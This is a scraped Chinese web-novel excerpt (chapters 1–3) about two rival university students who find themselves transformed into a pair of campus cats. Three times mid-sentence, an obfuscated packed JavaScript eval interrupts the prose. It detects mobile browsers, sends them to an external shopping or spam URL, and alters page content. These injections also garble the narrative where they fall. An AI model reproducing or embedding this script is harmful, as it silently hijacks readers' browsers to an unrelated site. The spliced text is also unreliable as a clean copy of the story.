《为了生存,猫猫决定》 1. 第 1 章 用户23lkus:兄弟,路过食堂方便带两罐百威吗?有打赏。 傍晚,A大校园的二食堂,宁暨单手抱着头盔,另一只手拎着炸鸡外卖,低头熟练地外卖聊天框里输入。 N:好嘞哥,没问题。 发完消息,宁暨将两份炸鸡外卖和两罐冰啤酒挂在车兜,黑色的小电驴嗖地一下穿梭在A大校园。 放学时段,浓密绿荫下满是成群的A大学子。十分钟后,宁暨稳稳停在七栋宿舍楼下,摘下头盔。 他长腿撑着电车,低头,额发有些乱,白色T恤被风吹得鼓起,拨通订单号上的号码,朗声道:“同学你好,外卖到了,麻烦下楼来取一下。” 电话那头背景音是嘈杂的游戏厮杀声,懒洋洋地应了一声好,挂断了电话。 宁暨抬头,又看了一眼外卖单子的宿舍楼号,发现正是自己宿舍的楼栋。 A大作为百年名校,占地范围极广,几个食堂分布在各个角落。很多一天没课的学生在饭点会选择点外卖。 校园的外卖软件叫闪达校园,骑手大多数也是A大的学生,平日里做个兼职赚点零花钱。 七栋宿舍楼大厅来来往往都是刚下课回去的学生,宁暨撑着电车等了两分钟,瞧见大厅口逆着人流走出两个男生。 其中一个身形极高,肩宽腿长,穿着黑色T恤,五官生得极为周正英挺,懒散地单手插兜往外走,手腕戴着一块电子表。 宁暨一抬头,瞧见来人,眼皮一跳,心里忽然冒出个不太好的预感。 来人抬眼扫了一圈,往路边停着的黑色电车走去,一边走到宁暨面前一边懒散道:“手机尾号7866,两份炸鸡……” 瞧见坐着黑色电车上的男生,来人声音忽然顿住,立马直起身子,笑意恶劣:“哟,宁暨?” 宁暨:“……” #送外卖的时候遇见死对头怎么办# 死对头掏出手机,看了刚才的聊天记录,打量了他一番,声音促狭、抑扬顿挫学他刚才回复的信息:“好嘞哥——” “宁暨,我怎么不知道原来你还会叫人哥啊?” 宁暨:“……” 草。 要不怎么说他能跟晏隋从高中到大学当了好几年的死对头,一见面就火药味十足。 有些人天生就是欠揍,成日贱兮兮地往他面前凑,多看一眼都要折寿。 宁暨气得牙痒痒,磨了磨后槽牙,忍了下来,皮笑肉不笑地将外卖递给眼晏隋身后的舍友,“两瓶百威十块,记得给。” 晏隋:“给一百今晚能截图那句哥发朋友圈吗?” 宁暨朝他比了个中指,面无表情:“滚——” 晏隋啧了一声,低头来了一句,“那就现在发。” 宁暨长腿一收,骂骂咧咧地开着自己的小电驴走了。 两分钟后。 黑色小电驴风驰电掣杀了回来,一个急停,戴着头盔的男生面无表情,伸手将晏隋舍友手上装着两罐百威的塑料袋一把抢来。 正准备付外卖打赏钱的晏隋舍友有点懵,茫然地望着他。 宁暨彬彬有礼:“前面二食堂右拐九百米,要买自己去买,你舍友太贱,给他带东西我晚上睡不着。” 晏隋舍友:“???” 宁暨抢回两罐冰啤酒,又朝着晏隋恶狠狠地竖个中指,才骑着小电驴嚣张地扬长而去。 —— 晚上九点,宁暨手机屏幕弹出一条消息。 喵手神医(周琦):在? 洗完澡的宁暨擦着头发,眯了眯眼,低头回复消息。 N:? 喵手神医:东校区有只奶牛猫到了嘎蛋的年纪,力气贼大,贼能跑,我们抓了两天都没抓到 喵手神医:(猫猫大哭) 低着头的宁暨嘴角抽了抽。 喵手神医,原名周琦,大三动物医学专业,家里开宠物医院,是S市本地人,极其热爱毛茸茸。 S大的流浪猫几乎全被周琦抓去绝了育,照顾得胖乎乎,但总有几只流浪猫警惕心得厉害,跑得也快,哪怕用猫条和罐头诱惑也没用。 每当这时,周琦总会屁颠屁颠来找他。 无他,宁暨高中练过田径,速度极快,堪称抓猫的一把手,上次就帮周琦抓了一只极其流浪猫去嘎蛋。 看着喵喵大哭的表情包和让他帮忙抓猫的请求,宁暨干脆地回复了两个字。 N:不去 喵手神医立马拨了个语音,在电话那头悲伤道:“小师弟,你变了。” 宁暨:“……” 他靠在宿舍的电竞椅上,冷笑道:“上次让我去抓猫,你还叫谁?” 周琦语气立马弱了下来,“误会,真是误会。” “上次那两只猫贼难抓,我叫了你,那学弟把他一个打篮球的学长摇过来了。” “我哪知道他说的学长就是晏隋啊,我要知道,我肯定不会让你们见面。” “谁都知道你跟晏隋不对付,我怎么敢当着让你跟晏隋见面。” 但凡同宁暨相熟的人,都知道宁暨同晏隋属于走在路上碰面都要互相啐一口的死对头。 那天抓猫,场面堪称惊心动魄。 从高中就结下了两字的两人冷着脸从S大的一区抓到二十七区,凶神恶煞地抓了整整五只流浪猫给周琦绝育。 两人一路明争暗斗,最后因为晏隋抓了三只流浪猫,只抓了两只流浪猫的宁暨鼻子都气歪了,几乎把S大的绿化带翻了个底朝天,只恨不能再多抓两只流浪猫来压晏隋一头。 跟在屁股后面的周琦火急火燎地打电话给自家老爹员工,多要了三个宠物航空箱才勉强够用。 想起那几天做的绝育手术,周琦咳了咳,对宁暨郑重保证,“明天你绝对碰不上晏隋,真的。” 一阵软磨硬泡,终于让宁暨应了下来。 他歪着脑袋,靠在电竞椅背上,湿漉的额发遮住了些锐利的眉眼,“明天几点?” 周琦在电话那头抛了个飞吻:“下午五点,么么——” 宁暨:“……别么,怪恶心的。” 周琦嘿嘿一笑,“我懂我懂——” 钢铁直男是听不得么么的。 ———— 第二天傍晚。 S大校园小路绿荫如盖,树叶间隙细碎漏下金色光斑,戴着黑色鸭舌帽的男生单手插兜,低头看着手机,白得晃眼的手腕上戴着一块电子腕表。 穿着白色T恤的男生长腿笔直,小腿肌肉弧线流畅紧实,一看便充满韧性和爆发力,脚上踩着一双白色球鞋。 男生低着头,露出的半截脸庞眉眼稍稍锐利,有些漫不经心,薄唇不笑的时候显得神情偏冷,往树荫下一站,来来往往吸引了不少人的目光。 他眯着眼,神情有些不大好地盯着手机屏幕,显出了几分生人勿近——只有一旁的周琦知道这位哥不高兴是因为玩抽卡游戏又玩输了。 宁暨望着手机屏幕,片刻后不太高兴地撇了撇嘴,将手机塞进兜里,扭头问周琦去哪抓猫。 周琦提着航空箱,给他看手机上黑白色奶牛猫的照片,说这只奶牛猫格外警惕,特别难抓。 猫咪绝育能减少猫咪生理疾病的发生,延长寿命,周琦基本都自掏腰包给学校里的流浪猫绝育,连抓猫也亲力亲为。 宁暨扫了一眼黑白色奶牛猫的照片,记住了个大概。 两人找了一会,在大老远绿化带的草丛里瞧见正在警惕吃着猫粮的奶牛猫。 它确实警惕,一边吃一边不断抬头四处张望,体型不大,姿态紧绷,是一副随时随地逃跑撤离的姿态。 周琦大气都不敢喘一下,穿着白色T恤的宁暨就微微弓着身子,悄无声息地靠近远处的草丛。 下一秒,远处草丛的奶牛猫似乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299399|140218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感应到什么,警惕地抬起头,随后猛然扭头朝着草丛里蹿去。 与此同时,微微弓着身子的男生眯了眯眼,顷刻间,如同蓄势待发的猎豹疾驰奔去,一闪而过,快得几乎只能瞧见白色T恤扬起的一片衣角。 周琦嘴角一抽,认命而熟练地端起航空包,朝着白色的背影拔足狂奔,一边跑一边声嘶力竭地喊着慢点。 耳边是呼啸的风声,宁暨充耳不闻,不远处逃窜的黑白色奶牛猫似乎听到身后密集的脚步声,尾巴竖得老高,疯狂地绕着草丛和树林逃窜。 绕了好几圈,黑白色奶牛猫蹿进了半人高的茂密树丛里,灵活地四处狂奔。 宁暨跟着一同扑了进去,敏捷且熟练地抓住奶牛猫的脖子,将猫咪拎起来。 他蹲在绿化带里,望着张牙舞爪扑腾的奶牛猫,不轻不重弹了弹小猫的肚子,评价了一句,“还挺能跑?” 宁暨扒拉了一下小猫,兴致勃勃:“跑也没用,蛋还是得上交。” 一路狂奔的周琦终于拎着航空箱气喘吁吁赶来,动作利落将奶牛猫装进航空箱,扭头兴致勃勃地邀请宁暨去看过去前阵子嘎蛋两只猫咪。 “上次多亏了你跟晏隋,那两只猫一直都形影不离,抓起来特别费劲。我们抓了好几天都没抓到,上回你和晏隋一人抓一只,没多久就抓到了。” “喏,现在那两只就在前面,一点都不怕生,可多同学投喂了……” 不远处的林荫小道上围着一群学生,蹲在地上时不时发出一阵喵喵喵的逗猫声。 周琦热情地带宁暨挤进去,只见草坪上趴着两只猫,旁若无人地贴在一起,亲昵地给彼此舔毛。 一只大体型通体雪白的狮子猫,一篮一黄的异色瞳,气势逼人,胸部宽阔,肌肉强健,低着头,懒洋洋地舔舐着怀里的三花猫。 它怀里的三花猫体型偏小,三色花纹分布匀称漂亮,黑、白、橘三种毛色的交织得恰到好处,使得毛发看起来优雅又富有层次感,在阳光下散发柔顺的光泽,蓬松的尾巴尖同狐狸一样漂亮。 三花猫阳光下闪耀的光泽惊艳十足,哪怕是不了解猫的人,也知道眼前这只三花猫品相顶级且稀有。 两只猫的蓬松尾巴时不时交缠在一起,亲昵十足。 宁暨蹲在一起,瞧了一下,忽然觉得有点不对劲,愣了一下,扭头对着周琦奇怪道:“这两只猫不都是公猫吗?” 周琦笑呵呵拎着航空箱,“对啊,它们都是公猫,你们上次亲手抓的,蛋也是我亲手噶的,” 宁暨一震,又扭头看了一眼尾巴亲密交缠在一起的两只小猫,“两只基佬猫?” 一旁的女同学偏头,笑眯眯地给宁暨科普:“对啊,它们感情可好了,基本每天形影不离。每次的猫罐头,大白都给小花吃饱了,自己再去吃小花吃剩下的。” “大白是异瞳狮子猫,对领地有很高的占有欲,只允许小花进入自己的领地。” 女同学嘿嘿一笑:“超甜的。” 人群中的两只猫咪似乎是感受到什么,忽然坐了起来,扭头望向宁暨。 仿佛是认出了面前人是当初将自己抓去噶掉蛋蛋的人,两只猫咪忽然竖起尾巴,朝着宁暨和晏隋喵喵喵地狂叫起来,粗着嗓子,仿佛骂得。 宁暨扭头,有点不高兴对着周琦道:“它们是不是在骂我?” 周琦笑呵呵道:“嗨呀,猫都是这样的,要不然网上怎么都说主人在带猫咪绝育前要带头套,防止被猫咪报复。” “猫咪心眼很小的。” 蹲在地上的宁暨切了一声。 他火速伸出一根手指,将朝着他狂骂的三花猫脑袋摁住,居高临下道:“收——” 两只猫:“……” 看着两只猫没了声,宁暨满意地收回手,拍拍屁股站了起来,心想他还怕这两只只会冲他喵喵叫的小基佬不成。 结果隔天,报应就来了。 2. 第 2 章 次日清晨,熬了一宿夜看电竞比赛的宁暨倒头就睡,结果一觉醒来,天旋地转,身上沉甸甸,仿佛被什么东西压得喘不过气来。 宁暨拼命呼吸,以为自己在睡梦中被鬼压床,大叫了一声舍友的名字,试图让自己醒来过来。 结果舍友的回应没听到,只听到死对头熟悉的声音在耳廓迟疑响起——“宁暨?” 死对头的声音近得仿佛在耳边呢语,激得宁暨汗毛都立了起来,几乎瞬间就炸了毛,不假思索一拳就抡了过去,用了十足的力道,恨不得将人一拳抡飞。 “草!宁暨你有病吧——” 宁暨终于睁开了眼,看到一只异瞳狮子猫气急败坏,用着晏隋的声音冲他大喊有病。 宁暨:“……?” 他惊疑不定,盯着那只猫口吐人言,对着他破口大骂。 起猛了,都出现幻觉了。 宁暨心想。 得睡下重新起床。 宁暨重新趴下闭眼,打算重新睁眼起床。 下一秒,宁暨惊悚睁开眼,警惕十足——不对!有问题! 晏隋这傻逼在他梦里只有当狗吃屎的份。 他怎么可能会梦见晏隋成一只猫呢? 宁暨睁眼,面前的异瞳狮子猫对着他骂骂咧咧,声音是熟悉得不得了,让宁暨不假思索想抡起拳头,下意识一拳砸过去。 结果拳头抡到一半,宁静忽然猛然顿住,僵硬地盯着挥到一半的爪子——毛绒绒,又短又小,像山竹一样。 “……” 什么情况? 宁暨僵硬地挥了挥拳头,看到半空中毛绒绒的猫爪子也跟着挥了挥。 一道凉凉的声音忽然响了起来——“可喜可贺,你终于发现不对劲了。” 宁暨愣愣抬起头。 五分钟后。 “你的意思是我变成了两只基佬猫中的一只,你变成了另一只基佬猫,并且不知道什么时候能变回来?” A大林荫小道,宁暨缓缓低头,抬起猫爪,看到毛绒绒爪子上的粉色肉垫,一脸茫然。 不远处的白猫晏隋似乎有些烦躁,应了一声,音调沉沉。 宁暨看着粉红色的肉垫和爪子,又僵硬抬起头,看到了放大无数倍的世界——熟悉的花圃显得无比巨大,堆砌的围栏仿佛像一堵巨大的墙。 他感到有些目眩神晕,低头望了一眼爪子,眼皮猛然一跳,才发现这只爪子格外眼熟——跟上回他帮周琦抓的三花猫爪子一模一样! “……” 三花猫沉默半分钟,抬腿试图找到自己的蛋蛋——结果压根找不到。 一道凉飕飕的声音响起——“不用找了。” 异瞳狮子猫站在一旁的椅子上,语气凉凉:“没蛋。” “我们穿成的猫,是上回我们帮周琦抓去绝育的那两只。” 宁暨如遭雷劈——哪有猫自己没了蛋就惩罚别人变成猫的!甚至还是两只成天凑在一起亲亲舔舔的基佬猫! “都怪你!” 片刻后,校园长椅上,炸毛的三花猫愤怒地拍着椅子,爪子将木质椅子拍得邦邦响,火猫三丈具象化:“全都怪你!” 刚挨了两拳,火急火燎跳到一旁的异瞳狮子猫:“……” 宁暨无能狂怒:“当初要不是你跟我争,我犯得着满学校找这只三花猫嘎蛋吗?” “那天你要是不跟我争,说不定我抓不到那只三花猫就不抓了!今天怎么会穿到这只三花猫身上!” 异瞳狮子猫直起身子,也冒着火冷笑道:“说得好像你没跟我争一样!” 异瞳狮子猫想起那天,冒着火挠了一下灰色地砖骂道:“那天要不是你朝我比中指挑衅,我会跟个傻逼一样大热天满学校抓这只狮子猫?” 三花猫愤怒道:“谁叫你用鼻孔看人!老子最烦装逼的人!” 异瞳狮子猫:“谁说老子用鼻孔看人?你自己长得矮还怪别人用鼻孔看人?高中喝□□星把脑子喝傻了?” 草。 宁暨彻底炸毛,三花猫弓起背,仿佛一颗炸开的刺猬,愤怒大叫:“你才喝□□星,你全家都喝□□星!” 但宁暨其实高中是有喝□□星的。 他上学上得早,父母都是教授,上学的时候连跳了好几级。因此高中时年纪比班里的同学都小几岁,又发育得慢,个子在班里最小。 高二体检的时候,宁暨看着自己的身高,又对比了一下四周同学的身高,急得不行,什么牌子的牛奶都一股脑地买回家,天天给自己灌牛奶。 班里人里瞧他年纪小,平日里也对他照顾得多,谁也不说,直到晏隋高二转学来到班上,同他结下梁子,成了死对头。 晏隋见他喝牛奶,大肆嘲笑,说□□星这种儿童牛奶他六岁的表弟都不喝,宁暨天天喝,怪不得长不高。 宁暨哪里懂自己买回来的牛奶是什么牛奶——他看到这个卖得最好他就直接往超市推车里塞了。 这件事气得宁暨几乎吐血,提一次炸一次,做梦都想着有天能将晏隋打扁塞进□□星牛奶盒,再一脚踹得远远的,最好一脚踢进黄浦江。 灌丛茂盛的长椅前,一阵猫叫对骂不绝于耳,激烈程度把来来往往路过的A大学子吓得虎躯一震。 路过的A大学子纷纷拨开树枝和灌丛伸头一看,震撼问道:“发情了?叫那么凶?” 对峙激烈谩骂的两只猫:“……” A大学子:“不对啊,蛋都没了,怎么发情?“ “——啊??不对,不是,你们怎么打起来了???” 下一秒,灌木丛里常年蝉联身娇体软易推倒第一猫的三花猫一跃而起,炸着毛龇着牙,愤怒扬起爪子,凶猛地朝着面前比他大了一圈的异瞳狮子猫重重挠去。 快狠准,凶悍异常。 人有人法,猫无猫法,新仇旧恨涌上心头,宁暨狂怒异常——早就想打这装逼佬了! 顷刻间,猫毛满天飞,两只猫疯狂打架咬毛,拳拳到肉,发出瓷实闷响。 四周的A大学子吓得花容失色,大叫着别打了别打了,处于激烈战况中的两只猫打红了眼,充耳不闻。 两只猫一路从四栋男生宿舍打到崇德楼,穷追猛打,打红了眼,屁股后面跟着一群A大学生拍照录视频。 半小时不到,狮子猫和三花不合大打出手的消息传遍整个A大。 作为A大鼎鼎有名的网红情侣猫,异瞳狮子猫和三花猫人气异常高,三花猫品相顶级,还是公三花,颜值一顶一的漂亮,异瞳狮子猫性情高冷,两只猫形影不离,是出了名的甜蜜小情侣。 起初异瞳狮子猫与三花猫并不经常出现在A大,是某个A大学子发现后腿受伤的狮子猫栖息在A大后门,时常拖着受伤的后腿巡视领地。 好心的学生本想带狮子猫去医治受伤的后腿,谁知狮子猫反应很激烈,弓着身子嘶吼哈气,警告人类不要靠近。 过了好些天,A大学生才发现后门的草丛里还有只酣睡的三花猫,三花猫被养得很好,油水光滑,漂亮得根本不像流浪猫,时常歪着脑袋无忧无虑地去亲昵蹭狮子猫脑袋。 后腿受伤的异瞳狮子猫将三花猫圈在怀里,安静地等着三花猫吃完食物,再低头慢慢地吃三花猫吃剩下的食物。 A大的学子投喂了好几个月,让狮子猫和三花猫逐渐放下戒心,慢慢在校园各处活动。 变动的是活动范围,不变的是狮子猫对三花猫极强的保护欲,但凡是狮子猫占领的领地,不会出现第二只流浪猫。 A大论坛还专门开辟一个板块用来磕异瞳狮子猫和三花猫CP,视频图文一应俱全,因为颜值出众,互动亲昵,甚至一众火出校外。 比黏黏糊糊小情侣忽然一言不合互咬打架打得猫毛满天飞更令人震惊的是——看上去身娇体软易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299400|140218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 推倒的三花猫竟能跟异瞳狮子猫打得有来有回。 围观的A大学子渐渐多了起来,更甚者还有一路从四栋宿舍追到崇德楼。 宁暨龇着牙同晏隋酣畅淋漓地打了一架,一瘸一拐回头,才发现四周围满了A大学子。 “……” 乌泱泱的学生以他们为中心,散开环绕起来,蹲在地上忧心忡忡,手上拿着各式猫条和猫罐头。 对面的晏隋显然也没料到这一幕,异瞳狮子猫一瘸一拐地扭头,也被乌泱泱的学生震了震。 围成一圈的学生对着狮子猫痛心疾首:“大白,你老婆从小就跟了你,你怎么能这样对你老婆?” 狮子猫:“……” 其他的A大学子同样痛心疾首:“就是就是,听说你老婆还是猫崽的时候就跟了你,你怎么能这样家暴你老婆?” “你以前可是一根手指头都舍不得碰你老婆的!你老婆拿你尾巴玩都没事!” “昨天还亲你老婆亲了半个小时!今天怎么就翻脸不认猫了?你老婆脑袋上的毛都被你咬秃了!” 狮子猫转头,吐了两口毛,显然被恶心得够呛。 对着异瞳狮子猫苦口婆心说了一通,一群学生刷地扭头,又痛心疾首教育起昂着脑袋的三花猫;“小花啊!你哥的眼睛都快被你挠瞎了,爪子上还咬出两个血洞。” “你怎么能这样对你哥呢?你哥当初后腿断了还给你找吃的,哪一次不是等你吃饱了,你哥再捡你的垃圾吃?” “昨天你还冲着你哥喵喵叫撒娇,挨着你哥睡觉,今天就爬到你哥脑袋上,想一巴掌拍死你哥是不是?” 三花猫呕了两下,也是恶心得够呛,吐出两口狮子猫的毛,朝着狮子猫龇了龇牙,一副异常凶悍的模样。 实际上宁暨感觉到后腿已经有些打抖——这只三花猫从来都没捕过猎,别看他打得凶,实际再打一架,估计就要被狮子猫摁在地上打了。 三花猫虽然知道自己体力不支,但趴在地上仍旧目不斜视,一副天王老子第一,老子第二的神情,对面的狮子猫慢条斯理地舔舐着伤口,时不时抬头瞥他一眼,似乎有些忌惮。 下一秒,昂着脑袋的三花猫忽然被人一把拎起后颈。 宁暨:“???” 三花猫龇牙咧嘴,勃然大怒,在半空中扑腾几下,凶狠扭头,下一秒看到来人,四肢僵直,一股熟悉的压制感扑面而来——来人正是给两只猫做绝育的周琦。 急急忙忙从宿舍赶出来的周琦拎着三花猫,看着打得一瘸一拐的两只猫,大为震惊:“绝育后的问题怎么那么严重?” 一些猫咪性格敏感,经历绝育后,性情容易发生翻天覆地的变化,不少性格温顺的家养猫咪绝育后变得攻击性极强。 周琦喃喃道:“不对啊,昨天不还是好好的吗?绝育都是好几个月前的事了……” 他记得这两只猫感情好得不得了,甚至因为长时间的形影不离,两只猫在绝育分开的几个小时内都能出现明显的分离焦虑。 如今大打出手,实在是罕见。 喵手神医撸起袖子蹲下,准备好好给这两只绝育后关系出现问题的小猫找一找问题所在,提供绝育后的一条龙服务。 喵手神医身手敏捷,右手抓着三花猫,左手抓着狮子猫,嘴里念念叨道:“来来来……别跑别跑……” 喵手神医将两只猫的脑袋摁在一起,啪地一下,让两只小猫嘴对嘴亲了一口,信誓旦旦道:“好了好了,这下什么矛盾都没了……” “咱们还跟以前一样嗷,和和美美恩恩爱爱……” “哎哎哎,别动别动,老夫老妻了,亲一口怎么还害羞了……” 周围忧心的A大学子纷纷露出欣慰的笑容,拿出手机对着面前脑袋碰着脑袋亲嘴的小猫录视频拍照,称赞喵手神医果然是妙手神医。 短短几分钟,直接就药到病除! 3. 第 3 章 宿敌,是这辈子看一眼都会红温随后火冒三丈的存在。 宁暨在最纯恨的时候,高中做早操都不愿跟走晏隋同一条道,冬天用饮水机打水时看见晏隋,立马扭头就走,宁愿去小卖部买透心凉的矿泉水,也不愿用晏隋接过水的饮水机。 他坚信用晏隋刚接完水的饮水机容易感染上某种狂妄自大的装逼病毒,对晏隋敬而远之,同晏隋保持距离,如同遵循某种严苛的法条一样。 直到这一刻,彻底打破。 没共用一个饮水机的水龙头,但亲了嘴。 三花猫两眼一黑,拼命挣扎,被喵手神医以为是害羞,摁着两只猫的脑袋又亲了一下。 “……” 宁暨险些昏过去。 对面的异瞳狮子猫也没好到哪里去,疯狂挣扎,猛然一蹿,背上的毛炸开,一副险先归西的绝望模样。 两分钟后,两只猫扭头,狂呕不止,几乎把胃里的东西全部给吐出来,并展现出极高的攻击性,谁碰便拼了命地挠谁。 宁暨呕得厉害,恨不得用爪子薅秃嘴上的毛,恶心得甚至啃地上的草皮,一边啃一边呸,含泪恨恨地抬头望着周琦。 周琦:“?” 他愣了愣,望着三花猫这幅模样,摸摸下巴嘀咕道:“怎么感觉有点眼熟?” 某个练田径的小师弟去年打排球比赛打输被血虐的时候,也是这么一副模样,闷不做声,坐在长椅上,锐利冷峻的一双眼红得要命,唇抿得紧紧的。 平日里又酷又拽,长得还帅,忽然眼红的模样惹得队内的女生格外怜爱,尖叫连连,怒斥周琦等人没良心,给小师弟匹配的队友那么菜,害小师弟输掉了比赛。 路过的不少女生红着脸问要联系方式,结果一问,才知道坐在长椅上身高一米八八的男生上学连跳了好几级,今年才刚满十八。 周琦和几个队友蹲在排球场,并肩感叹——感情队里那些姑娘泛滥的母爱也不是没缘由。 他们一个个不知道比那小师弟大多少岁,哪怕想要老黄瓜刷绿漆装嫩,也装不出小师弟那股少年的劲儿。 三花猫啃着草坪,恶心劲还没下去,绝望抬起头,发现对面的异瞳狮子猫也在绝望地啃草坪。 似乎是感觉到什么,异瞳狮子猫抬起头,两只猫对视了一眼,同时扭头,绝望地呕了一声。 周琦蹲下,还想拎起三花猫看看情况,没想到狂呕不止的三花猫嗖地一下朝外狂奔,片刻后就没了踪影。 三花猫连滚带爬地狂奔到最近的男厕所,火急火燎地一脚踢开水龙头,整只猫扎进水流里,流着面条宽泪冲洗着嘴,一边洗一边骂骂咧咧。 两分钟后,洗手台跳出一只湿漉漉的三花猫,跑到草坪上悲伤地晒太阳——打架没打赢,脑袋上的毛秃了,还跟这辈子最恶心的人亲了嘴。 三花猫绝望地用爪子抱住脑袋,两眼一黑看不到未来。 面子和里子都丢尽了! 阳光晒得人睁不开眼,将湿漉漉的皮毛蒸腾得冒出点雾气,三花猫挪动身子,蜷在花圃的阴凉处,又累又饿,头昏脑涨。 三花猫低头,将两只爪子垫在下巴,眯着眼,昏昏沉沉地脑袋一歪,眯了过去。。 — “老幺还没醒?” “没,前面叫也没什么反应,都睡了一天了……” “他昨晚通宵,早上五点多才睡,睡够了会醒的。” 模糊的交谈声混杂着游戏背景音乐,时远时近地朦胧响起,如潮水褪去一般逐渐变得清晰。 下铺沉睡的男生眼皮动了动,翻了个身,片刻后,似乎意识到什么,猛地一下坐了起来,胸膛剧烈地起伏,愣愣地望着四周。 宿舍窗外是黄昏夕阳,楼上宿舍拖动椅子的声音清晰可闻,宿舍长高星在跟其他舍友双排打游戏,听到动静,笑着道:“老幺醒了?” 宁暨愣愣地望着宿舍长的电竞椅,没说话。 他就是老幺,因为年纪在宿舍里最小,其他人偶尔会叫他老幺。 舍友李翔刚洗完澡,拿着衣架在他眼前晃了晃,“睡一天睡傻了?” 宁暨神情恍惚:“你掐我一下。” 李翔乐了,伸手掐了眼前人的手臂,“真睡傻啦?” 宁暨被掐得眼皮一跳,神情恍惚地想——前不久变成猫这件事到底是他做梦还是真实发生的事? 宁暨掀开被子,踩着拖鞋,冲到寝室门,一扭开门就看到同样刚睡醒冲出来的晏隋站在他宿舍门口。 “……” 四目相望,对面人缓缓问道:“三花?” 宁暨:“……狮子?” 两两相望,暗号正确,宿舍长廊顿时陷入死一般的寂静。 下一秒,显然是想到了前不久发生的事,两人绝望地对视了一眼,又呕了起来。 宁暨一脚将门踹上,一边呕一边冲到洗漱台,抓着牙刷,挤了一大坨牙膏,开始狂刷牙。 宿舍里的其余人被关门声震了震,扭头看向一脸痛苦刷牙的宁暨,又被震了震。 宿舍长高星摘下头戴式耳机,溜达溜达去到洗漱台前,小心翼翼地发问:“幺儿,你现在对那个姓晏的已经恨到看一眼就想吐了吗?” 满口牙膏沫的宁暨:“……” 高星有些犯愁,“幺儿,这可不行啊,虽然我们跟他不是一个班的,但总归是一个专业的,平时上大课都是要碰到,你看他一眼就想吐,后面上课该怎么样?” 宁暨吐了两口牙膏沫,面色如土。 宿舍长:“幺儿,你到底为啥怎么看不惯那个姓晏的啊?” 重新挤了一坨牙膏的宁暨一边刷着牙,一边面无表情道:“你不觉得他老装逼了吗?” 晏隋是高二转来二中的重点班。 二中作为赫赫有名的重点高中,能在中途转学进来的学生,不仅得非富即贵,学习成绩更是得好得不得了。 晏隋恰好就是那样的学生,家世极好——开学那天副校长亲自送到班门口,成绩优异——第一次考试就在卧虎藏龙的二中名列前茅。 五官极为周正英俊,跟谁都是一副谈笑风生的模样,转学过来不到半个月,就跟班里大部分同学打成一片。 按理说宁暨很难与这样的人结下梁子——事实上在很早之前,宁暨也是这样想。 直到某次假期,宁暨在校外书店碰到晏隋,想着同班同学,便上前打了个招呼,谁知道对方竟然冷着一张脸,漠然地单手插兜,从他身边擦肩而过。 不止如此,在往后的一个月,晏隋同谁讲话都是一副谦和的模样,但对上宁暨,永远都是冷得可怕,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299401|140218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蹦出一两个字,要不然就是摇头或者点头。 仿佛极为嫌弃跟他多说一句话。 加上晏隋嘴欠得厉害,不仅嘲笑他喝儿童牛奶,还三天两头转头过来问需不需要他问问题。 成绩从来都是第一的宁暨当晚回去就气得一晚上没睡着——不过好在这么些年,他成绩总是压着晏隋,估计也让晏隋气得够呛。 刷着牙的宁暨吐出牙膏沫,做出最终总结:“跟姓晏的结仇,不是很正常吗?” 他又挤了一坨牙膏,塞进嘴里,被辣得够呛,含糊道:“像他这样爱装逼的,哪天被人套麻袋都不奇怪。” 高星摸了摸下巴,“说得也是。” 老幺说的话准没错。 “得了得了别刷牙了,过来吃汉堡,再刷牙都要出血看。” 宁暨应了一声,但没听,足足刷了二十多分钟才停下手上的动作,洗了把脸,用毛巾擦了擦,头发翘得乱七八糟,坐在电竞椅上吃汉堡。 他一边啃着汉堡一边琢磨着白天自己穿成猫这件事,啃了两口,打开引擎输入一行字,点击搜索。 下一秒,电脑屏幕上弹出密密麻麻关于猫咪报复心和心眼的词条,放眼望过去,都是猫咪报复心有多强的答案。 宁暨眼皮一跳,越看心越凉。他心拔凉拔凉地沉思几秒,果断关掉搜索框,开始联系列表里一个热爱做羊毛毡的学姐。 “明天一天没课,出去唱k吗?” 宿舍李翔靠在椅子上,一面刷着手机,一面兴致勃勃地发问。 宿舍几个都说没问题,轮到宁暨,只见他面色肃穆地坐在座位上,十指飞快地在键盘上敲击,头也不抬道:“你们去吧,明天我有事。” 高星:“什么事?” 宁暨:“大事。” 关乎到他往后能否安然无恙好好当人的大事。 ———— 第二天下午两点。 宁暨背着斜挎包,按着A大贴吧上的往期帖子,绕了A大两圈,成功找到那只三花猫和狮子猫的老巢。 根据帖子描述,小花和大白有好几个窝,但崇德楼负一楼车库的东南角是小花和大白最常出没的地方。 宁暨鬼鬼祟祟提着一袋东西来到车库的东南角,发现车库的东南角早有人蹲着。 宁暨:“?” 